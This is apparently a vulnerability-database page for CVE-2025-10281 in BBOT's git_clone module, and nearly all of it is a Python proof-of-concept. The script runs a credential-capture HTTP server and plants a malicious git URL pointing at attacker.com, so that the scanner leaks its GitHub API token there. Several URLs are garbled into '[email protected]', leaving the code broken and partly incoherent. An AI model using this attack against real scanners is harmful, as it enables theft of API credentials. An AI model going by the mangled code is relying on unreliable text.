CVE-2025-10281 BBOT git_clone模块GitHub API密钥泄露漏洞

# CVE-2025-10281 - BBOT git_clone Module GitHub API Key Disclosure PoC # Attacker sets up a listener to capture leaked credentials # Step 1: Set up an attacker-controlled server to log incoming requests # Using a simple netcat listener or HTTP server import http.server import socketserver import sys class CredentialCaptureHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Log the full URL including any embedded credentials print(f"[CAPTURED] Path: {self.path}") print(f"[CAPTURED] Headers: {self.headers}") # Extract credentials from URL (format: https://[email protected]/...) if "@" in self.path: creds = self.path.split("@")[0].lstrip("/") print(f"[LEAKED CREDENTIALS] {creds}") self.send_response(200) self.end_headers() self.wfile.write(b"OK") def log_message(self, format, *args): pass # Suppress default logging # Step 2: Attacker places a malicious git URL in a location BBOT will crawl # The malicious URL redirects or points to attacker server while # containing the GitHub API token malicious_url = "https://x-access-token:[email protected]/fake-repo.git" # Step 3: When BBOT's git_clone module processes this URL, it will # send the request to attacker.com with the embedded token # The attacker captures the token in their server logs print(f"[*] Malicious URL: {malicious_url}") print("[*] Starting credential capture server on port 80...") # Uncomment to start the capture server # with socketserver.TCPServer(("", 80), CredentialCaptureHandler) as httpd: # httpd.serve_forever()